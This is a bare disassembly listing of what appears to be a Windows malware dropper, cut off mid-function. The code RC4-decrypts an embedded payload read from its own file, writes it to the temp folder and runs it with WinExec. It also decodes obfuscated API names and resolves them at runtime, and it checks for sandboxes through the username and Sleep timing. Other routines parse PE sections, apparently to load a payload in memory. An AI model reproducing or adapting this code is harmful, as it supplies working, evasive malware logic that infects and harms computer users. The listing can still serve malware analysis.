		mov	eax, ds:dword_4001E7F8
		push	eax
		call	sub_40006538	; FindResourceA
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_4001E7F8
		push	eax
		call	sub_40006638	; SizeofResource
		mov	[esi], eax
		push	ebx
		mov	eax, ds:dword_4001E7F8
		push	eax
		call	sub_400065F8	; LoadResource
		mov	ebx, eax
		push	ebx
		call	sub_40006600	; SetHandleCount
		mov	esi, eax
		test	esi, esi
		jz	short loc_40016FCC
		push	ebx
		call	sub_40006550	; FreeResource
		jmp	short loc_40016FD3
; ---------------------------------------------------------------------------


loc_40016FCC:				; CODE XREF: sub_40016F88+3Aj
		push	0
		call	sub_40006530	; ExitProcess


loc_40016FD3:				; CODE XREF: sub_40016F88+42j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40016F88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016FD8	proc near		; CODE XREF: sub_400171BC+44p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ecx, edx
		test	ecx, ecx
		js	short loc_40016FF1
		shr	ecx, 2


loc_40016FEA:				; CODE XREF: sub_40016FD8+17j
		mov	ebx, [eax+ecx*4]
		dec	ecx
		push	ebx
		jns	short loc_40016FEA


loc_40016FF1:				; CODE XREF: sub_40016FD8+Dj
		mov	eax, esp
		mov	[ebp+var_4], eax
		xor	eax, eax
		mov	[ebp+var_8], eax
		lea	edi, [edx+1]
		xor	ecx, ecx
		mov	ebx, offset dword_4001F3C8
		mov	esi, offset byte_4001F4C8


loc_4001700A:				; CODE XREF: sub_40016FD8+4Cj
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+edx+1]
		mov	[ebx], al
		mov	[esi], cl
		inc	ecx
		inc	esi
		inc	ebx
		cmp	ecx, 100h
		jnz	short loc_4001700A
		mov	ecx, 100h
		mov	eax, offset byte_4001F4C8
		mov	edx, offset dword_4001F3C8


loc_40017035:				; CODE XREF: sub_40016FD8+99j
		movzx	ebx, byte ptr [eax]
		mov	esi, ebx
		add	esi, [ebp+var_8]
		movzx	edi, byte ptr [edx]
		add	esi, edi
		and	esi, 800000FFh
		jns	short loc_40017052
		dec	esi
		or	esi, 0FFFFFF00h
		inc	esi


loc_40017052:				; CODE XREF: sub_40016FD8+70j
		mov	[ebp+var_8], esi
		mov	esi, ebx
		mov	ebx, [ebp+var_8]
		movzx	ebx, ds:byte_4001F4C8[ebx]
		mov	[eax], bl
		mov	ebx, esi
		mov	esi, [ebp+var_8]
		mov	ds:byte_4001F4C8[esi], bl
		inc	edx
		inc	eax
		dec	ecx
		jnz	short loc_40017035
		mov	edi, [ebp+var_14]
		mov	esi, [ebp+var_10]
		mov	ebx, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_40016FD8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017080	proc near		; CODE XREF: sub_400171BC+145p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		test	ebx, ebx
		js	short loc_40017099
		shr	ebx, 2


loc_40017092:				; CODE XREF: sub_40017080+17j
		mov	esi, [eax+ebx*4]
		dec	ebx
		push	esi
		jns	short loc_40017092


loc_40017099:				; CODE XREF: sub_40017080+Dj
		mov	eax, esp
		mov	[ebp+var_4], ecx
		xor	esi, esi
		xor	ecx, ecx
		inc	edx
		test	edx, edx
		jl	short loc_40017124
		inc	edx
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_4]


loc_400170AE:				; CODE XREF: sub_40017080+A2j
		inc	esi
		and	esi, 800000FFh
		jns	short loc_400170BF
		dec	esi
		or	esi, 0FFFFFF00h
		inc	esi


loc_400170BF:				; CODE XREF: sub_40017080+35j
		movzx	ebx, ds:byte_4001F4C8[esi]
		add	ecx, ebx
		and	ecx, 800000FFh
		jns	short loc_400170D8
		dec	ecx
		or	ecx, 0FFFFFF00h
		inc	ecx


loc_400170D8:				; CODE XREF: sub_40017080+4Ej
		mov	[ebp+var_C], ebx
		movzx	ebx, ds:byte_4001F4C8[ecx]
		mov	ds:byte_4001F4C8[esi], bl
		movzx	ebx, byte ptr [ebp+var_C]
		mov	ds:byte_4001F4C8[ecx], bl
		movzx	ebx, ds:byte_4001F4C8[esi]
		movzx	edi, ds:byte_4001F4C8[ecx]
		add	ebx, edi
		and	ebx, 0FFh
		movzx	ebx, ds:byte_4001F4C8[ebx]
		movzx	edi, byte ptr [eax]
		xor	ebx, edi
		mov	[ebp+var_8], ebx
		movzx	ebx, byte ptr [ebp+var_8]
		mov	[edx], bl
		inc	edx
		inc	eax
		dec	[ebp+var_10]
		jnz	short loc_400170AE


loc_40017124:				; CODE XREF: sub_40017080+25j
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40017080	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017134	proc near		; CODE XREF: sub_400171BC+94p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_400171A3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		jmp	short loc_40017172
; ---------------------------------------------------------------------------


loc_40017156:				; CODE XREF: sub_40017134+4Dj
		mov	edx, [ebp+var_4]
		mov	eax, offset dword_400171B8
		call	sub_40004E30
		mov	ecx, eax
		lea	eax, [ebp+var_4]
		mov	edx, 1
		call	sub_40004DE8


loc_40017172:				; CODE XREF: sub_40017134+20j
		mov	edx, [ebp+var_4]
		mov	eax, offset dword_400171B8
		call	sub_40004E30
		test	eax, eax
		jnz	short loc_40017156
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400171AA


loc_4001719A:				; CODE XREF: sub_40017134+74j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_400171A3:				; DATA XREF: sub_40017134+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001719A
; ---------------------------------------------------------------------------


loc_400171AA:				; CODE XREF: sub_40017134+6Ej
					; DATA XREF: sub_40017134+61o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40017134	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 1
dword_400171B8	dd 5Ch							; sub_40017134+41o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400171BC	proc near		; CODE XREF: .itext:40019564p

var_920		= dword	ptr -920h
var_91C		= dword	ptr -91Ch
var_918		= dword	ptr -918h
var_914		= dword	ptr -914h
var_910		= dword	ptr -910h
var_909		= byte ptr -909h
var_804		= byte ptr -804h
var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF6E0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_920], eax
		mov	[ebp+var_910], eax
		mov	[ebp+var_914], eax
		mov	[ebp+var_918], eax
		mov	[ebp+var_91C], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40017358
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, offset dword_4001ADB8
		mov	edx, 0FFh
		call	sub_40016FD8
		lea	eax, [ebp+var_909]
		push	eax
		push	105h
		call	sub_400065C0	; GetTempPathA
		lea	eax, [ebp+var_914]
		lea	edx, [ebp+var_909]
		mov	ecx, 105h
		call	sub_40004AF4
		push	[ebp+var_914]
		push	offset dword_40017370
		lea	edx, [ebp+var_91C]
		xor	eax, eax
		call	sub_40002FF8
		mov	eax, [ebp+var_91C]
		lea	edx, [ebp+var_918]
		call	sub_40017134
		push	[ebp+var_918]
		lea	eax, [ebp+var_910]
		mov	edx, 3
		call	sub_40004C08
		mov	eax, [ebp+var_910]
		call	sub_40004D48
		mov	edi, eax
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	edx, [ebp+var_920]
		xor	eax, eax
		call	sub_40002FF8
		mov	eax, [ebp+var_920]
		call	sub_40004D48
		push	eax
		call	sub_40006510	; CreateFileA
		mov	ebx, eax
		push	0
		push	0
		push	3E00h
		push	ebx
		call	sub_40006630	; SetFilePointer
		push	0
		push	80h
		push	2
		push	0
		push	2
		push	40000000h
		push	edi
		call	sub_40006510	; CreateFileA
		mov	esi, eax


loc_400172D3:				; CODE XREF: sub_400171BC+168j
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	400h
		lea	eax, [ebp+var_404]
		push	eax
		push	ebx
		call	sub_40006618	; ReadFile
		push	3FFh
		lea	ecx, [ebp+var_804]
		lea	eax, [ebp+var_404]
		mov	edx, 3FFh
		call	sub_40017080
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_804]
		push	eax
		push	esi
		call	sub_40006660	; WriteFile
		cmp	[ebp+var_4], 400h
		jnb	short loc_400172D3
		push	ebx
		call	sub_400064F0	; CloseHandle
		push	esi
		call	sub_400064F0	; CloseHandle
		push	0
		push	edi
		call	sub_40006658	; WinExec
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001735F


loc_40017347:				; CODE XREF: sub_400171BC+1A1j
		lea	eax, [ebp+var_920]
		mov	edx, 5
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40017358:				; DATA XREF: sub_400171BC+2Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40017347
; ---------------------------------------------------------------------------


loc_4001735F:				; CODE XREF: sub_400171BC+19Bj
					; DATA XREF: sub_400171BC+186o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400171BC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40017370	dd 5Ch		
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017374	proc near		; CODE XREF: sub_400173FC+2Dp
					; sub_400173FC+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_400173ED
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_4]
		test	ebx, ebx
		jz	short loc_400173A8
		sub	ebx, 4
		mov	ebx, [ebx]


loc_400173A8:				; CODE XREF: sub_40017374+2Dj
		push	0
		push	0Ah
		push	0
		push	14h
		lea	edx, [ebp+var_8]
		mov	eax, ebx
		call	sub_40016CE8
		mov	edx, [ebp+var_8]
		lea	ecx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		call	sub_40006A2C
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400173F4


loc_400173DF:				; CODE XREF: sub_40017374+7Ej
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_400173ED:				; DATA XREF: sub_40017374+1Do
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400173DF
; ---------------------------------------------------------------------------


loc_400173F4:				; CODE XREF: sub_40017374+78j
					; DATA XREF: sub_40017374+66o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40017374	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400173FC	proc near		; CODE XREF: .itext:40019569p

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Ah


loc_40017404:				; CODE XREF: sub_400173FC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_40017404
		push	ecx
		push	ebx
		push	esi
		mov	esi, offset dword_4001F3B0
		xor	eax, eax
		push	ebp
		push	offset loc_400176B8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, offset dword_400176D0
		call	sub_40017374
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		call	sub_400065F0	; LoadLibraryA
		mov	ebx, eax
		lea	edx, [ebp+var_8]
		mov	eax, offset dword_400176E4
		call	sub_40017374
		mov	eax, [ebp+var_8]
		call	sub_40004D48
		push	eax
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	[esi], eax
		lea	edx, [ebp+var_C]
		mov	eax, offset dword_400176FC
		call	sub_40017374
		mov	eax, [ebp+var_C]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3B4, eax
		lea	edx, [ebp+var_10]
		mov	eax, offset dword_40017710
		call	sub_40017374
		mov	eax, [ebp+var_10]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3B8, eax
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_40017728
		call	sub_40017374
		mov	eax, [ebp+var_14]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3BC, eax
		lea	edx, [ebp+var_18]
		mov	eax, offset dword_4001773C
		call	sub_40017374
		mov	eax, [ebp+var_18]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3C0, eax
		lea	edx, [ebp+var_1C]
		mov	eax, offset dword_40017750
		call	sub_40017374
		mov	eax, [ebp+var_1C]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3C4, eax
		lea	edx, [ebp+var_20]
		mov	eax, offset dword_40017764
		call	sub_40017374
		mov	eax, [ebp+var_20]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F378, eax
		lea	edx, [ebp+var_24]
		mov	eax, offset dword_4001777C
		call	sub_40017374
		mov	eax, [ebp+var_24]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F37C, eax
		lea	edx, [ebp+var_28]
		mov	eax, offset dword_40017798
		call	sub_40017374
		mov	eax, [ebp+var_28]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F384, eax
		lea	edx, [ebp+var_2C]
		mov	eax, offset dword_400177B4
		call	sub_40017374
		mov	eax, [ebp+var_2C]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F388, eax
		lea	edx, [ebp+var_30]
		mov	eax, offset dword_400177D0
		call	sub_40017374
		mov	eax, [ebp+var_30]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F38C, eax
		lea	edx, [ebp+var_34]
		mov	eax, offset dword_400177E8
		call	sub_40017374
		mov	eax, [ebp+var_34]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F394, eax
		lea	edx, [ebp+var_38]
		mov	eax, offset dword_40017800
		call	sub_40017374
		mov	eax, [ebp+var_38]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F398, eax
		lea	edx, [ebp+var_3C]
		mov	eax, offset dword_40017818
		call	sub_40017374
		mov	eax, [ebp+var_3C]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F39C, eax
		lea	edx, [ebp+var_40]
		mov	eax, offset dword_40017830
		call	sub_40017374
		mov	eax, [ebp+var_40]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3A0, eax
		lea	edx, [ebp+var_44]
		mov	eax, offset dword_40017848
		call	sub_40017374
		mov	eax, [ebp+var_44]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3A4, eax
		lea	edx, [ebp+var_48]
		mov	eax, offset dword_4001785C
		call	sub_40017374
		mov	eax, [ebp+var_48]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F390, eax
		lea	edx, [ebp+var_4C]
		mov	eax, offset dword_40017874
		call	sub_40017374
		mov	eax, [ebp+var_4C]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3A8, eax
		lea	edx, [ebp+var_50]
		mov	eax, offset dword_40017890
		call	sub_40017374
		mov	eax, [ebp+var_50]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F380, eax
		lea	edx, [ebp+var_54]
		mov	eax, offset dword_400178A8
		call	sub_40017374
		mov	eax, [ebp+var_54]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3AC, eax
		push	ebx
		call	ds:dword_4001F3A4	; FreeLibrary
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400176BF


loc_400176AA:				; CODE XREF: sub_400173FC+2C1j
		lea	eax, [ebp+var_54]
		mov	edx, 15h
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_400176B8:				; DATA XREF: sub_400173FC+1Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400176AA
; ---------------------------------------------------------------------------


loc_400176BF:				; CODE XREF: sub_400173FC+2BBj
					; DATA XREF: sub_400173FC+2A9o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400173FC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 8
dword_400176D0	dd 2B362609h, 7B7B2B23h, 0		dd 0FFFFFFFFh, 0Eh
dword_400176E4	dd 22051528h, 37161B01h, 0A0B1C13h, 203h, 0FFFFFFFFh, 0Bh
					; DATA XREF: sub_400173FC+45o
dword_400176FC	dd 0E0B1F2Fh, 1A341404h, 371018h, 0FFFFFFFFh, 0Eh
					; DATA XREF: sub_400173FC+63o
dword_40017710	dd 3405153Ch, 2610181Ah, 1B171118h, 315h, 0FFFFFFFFh, 8
					; DATA XREF: sub_400173FC+81o
dword_40017728	dd 21252610h, 2C242E00h, 0		dd 0FFFFFFFFh, 0Bh
dword_4001773C	dd 291A082Bh, 20171D19h, 130F1Dh, 0FFFFFFFFh, 0Bh
					; DATA XREF: sub_400173FC+BDo
dword_40017750	dd 1C01012Fh, 1D133915h, 131910h, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_400173FC+DBo
dword_40017764	dd 51C0B3Fh, 1C27171Ch,	9161307h, 0		dd 0FFFFFFFFh, 10h
dword_4001777C	dd 20071722h, 1912041Dh, 1F14391Dh, 10C1606h, 0
					; DATA XREF: sub_400173FC+117o
		dd 0FFFFFFFFh, 11h
dword_40017798	dd 11151620h, 1A170526h, 3F0F081Fh, 41A1916h, 0Eh, 0FFFFFFFFh
					; DATA XREF: sub_400173FC+135o
		dd 10h
dword_400177B4	dd 20071736h, 1912041Dh, 1F14391Dh, 10C1606h, 0
					; DATA XREF: sub_400173FC+153o
		dd 0FFFFFFFFh, 0Eh
dword_400177D0	dd 1314022Ch, 4251107h,	1C1C1B18h, 3003h, 0FFFFFFFFh, 0Dh
					; DATA XREF: sub_400173FC+171o
dword_400177E8	dd 151E0628h, 1A071620h, 0B1B0503h, 2Eh, 0FFFFFFFFh, 0Eh
					; DATA XREF: sub_400173FC+18Fo
dword_40017800	dd 170B193Ch, 1327121Ch, 1D0C1704h, 1413h, 0FFFFFFFFh
					; DATA XREF: sub_400173FC+1ADo
		dd 0Ch
dword_40017818	dd 140E0121h, 1B001723h, 8140400h, 0		dd 0FFFFFFFFh, 0Ch
dword_40017830	dd 1B0C0121h, 1B001723h, 8140400h, 0		dd 0FFFFFFFFh, 0Bh
dword_40017848	dd 0A0B1F2Ah, 110183Ch,	0F0715h, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_400173FC+207o
dword_4001785C	dd 150A1C2Bh, 1B001723h, 8140400h, 0		dd 0FFFFFFFFh, 12h
dword_40017874	dd 21C0624h, 150B2812h,	0E1918h, 181B1039h, 0Ah, 0FFFFFFFFh
					; DATA XREF: sub_400173FC+243o
		dd 0Eh
dword_40017890	dd 6031939h, 37191506h,	0C16141Bh, 1000935h, 0FFFFFFFFh
					; DATA XREF: sub_400173FC+261o
		dd 12h
dword_400178A8	dd 3B011134h, 160C1C18h, 1F143A1Eh, 1A173B11h, 381Dh
					; DATA XREF: sub_400173FC+27Fo

; =============== S U B	R O U T	I N E =======================================



sub_400178BC	proc near		; CODE XREF: sub_400178DC+53p
					; sub_40017A1C+F3p ...
		push	ebx
		mov	ebx, edx
		mov	ecx, eax
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		test	edx, edx
		jnz	short loc_400178CF
		mov	eax, ecx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_400178CF:				; CODE XREF: sub_400178BC+Dj
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		inc	eax
		imul	ebx
		pop	ebx
		retn
sub_400178BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400178DC	proc near		; CODE XREF: sub_40017A1C+7Bp

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		mov	ebp, [ecx+38h]
		mov	ebx, [ecx+54h]
		mov	eax, ebx
		xor	edx, edx
		div	ebp
		test	edx, edx
		jnz	short loc_400178FB
		mov	[esp+14h+var_14], ebx
		jmp	short loc_40017907
; ---------------------------------------------------------------------------


loc_400178FB:				; CODE XREF: sub_400178DC+18j
		mov	eax, ebx
		xor	edx, edx
		div	ebp
		inc	eax
		add	eax, ebp
		mov	[esp+14h+var_14], eax


loc_40017907:				; CODE XREF: sub_400178DC+1Dj
		lea	edi, [ecx+18h]
		movzx	eax, word ptr [ecx+14h]
		add	edi, eax
		movzx	esi, word ptr [ecx+6]
		dec	esi
		test	esi, esi
		jb	short loc_4001793B
		inc	esi
		xor	ebx, ebx


loc_4001791C:				; CODE XREF: sub_400178DC+5Dj
		lea	eax, [ebx+ebx*4]
		cmp	dword ptr [edi+eax*8+8], 0
		jz	short loc_40017937
		lea	eax, [ebx+ebx*4]
		mov	eax, [edi+eax*8+8]
		mov	edx, ebp
		call	sub_400178BC
		add	[esp+14h+var_14], eax


loc_40017937:				; CODE XREF: sub_400178DC+48j
		inc	ebx
		dec	esi
		jnz	short loc_4001791C


loc_4001793B:				; CODE XREF: sub_400178DC+3Bj
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400178DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017944	proc near		; CODE XREF: sub_40017A1C+3Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_400179AF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		mov	eax, 40h
		call	sub_40002C20
		mov	esi, eax
		mov	[ebp+var_4], 40h
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_400064B8	; GetUserNameA
		lea	eax, [ebp+var_8]
		mov	edx, esi
		call	sub_40004A7C
		mov	eax, [ebp+var_8]
		mov	edx, offset aCurrentuser ; "CurrentUser"
		call	sub_40004C94
		jnz	short loc_40017999
		mov	bl, 1


loc_40017999:				; CODE XREF: sub_40017944+51j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400179B6


loc_400179A6:				; CODE XREF: sub_40017944+70j
		lea	eax, [ebp+var_8]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_400179AF:				; DATA XREF: sub_40017944+10o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400179A6
; ---------------------------------------------------------------------------


loc_400179B6:				; CODE XREF: sub_40017944+6Aj
					; DATA XREF: sub_40017944+5Do
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40017944	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 0Bh
aCurrentuser	db 'CurrentUser',0      ; DATA XREF: sub_40017944+47o

; =============== S U B	R O U T	I N E =======================================



sub_400179D4	proc near		; CODE XREF: sub_40017A1C+41p
					; sub_40017A1C:loc_40017C5Bp ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		call	sub_400065D0	; GetTickCount
		mov	edi, eax
		push	1F4h
		call	sub_40006640	; Sleep
		call	sub_400065D0	; GetTickCount
		mov	esi, eax
		push	1F4h
		call	sub_40006640	; Sleep
		call	sub_400065D0	; GetTickCount
		sub	esi, edi
		cmp	esi, 1F4h
		jge	short loc_40017A15
		sub	eax, edi
		cmp	eax, 3E8h
		jge	short loc_40017A15
		mov	bl, 1


loc_40017A15:				; CODE XREF: sub_400179D4+34j
					; sub_400179D4+3Dj
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400179D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017A1C	proc near		; CODE XREF: .itext:40019849p

var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_1A4		= dword	ptr -1A4h
var_198		= dword	ptr -198h
var_179		= byte ptr -179h
var_74		= byte ptr -74h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDACh
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_254], ecx
		mov	[ebp+var_24C], ecx
		mov	[ebp+var_250], ecx
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40017D6A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_40017944
		call	sub_400179D4
		lea	eax, [ebp+var_179]
		xor	ecx, ecx
		mov	edx, 104h
		call	sub_40003580
		push	104h
		lea	eax, [ebp+var_179]
		push	eax
		push	0
		call	ds:dword_4001F3AC	; GetModuleFileNameA
		mov	eax, [ebp+var_8]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		call	sub_400178DC
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		call	sub_40002C20
		mov	[ebp+var_14], eax
		xor	edx, edx
		push	ebp
		push	offset loc_40017D3D
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+54h]
		mov	edx, [ebp+var_10]
		lea	esi, [edx+18h]
		mov	edx, [ebp+var_10]
		movzx	edx, word ptr [edx+14h]
		add	esi, edx
		mov	edx, [ebp+var_10]
		movzx	edi, word ptr [edx+6]
		dec	edi
		test	edi, edi
		jb	short loc_40017AF6
		inc	edi
		xor	ebx, ebx


loc_40017AE2:				; CODE XREF: sub_40017A1C+D8j
		lea	edx, [ebx+ebx*4]
		cmp	eax, [esi+edx*8+14h]
		jbe	short loc_40017AF2
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+14h]


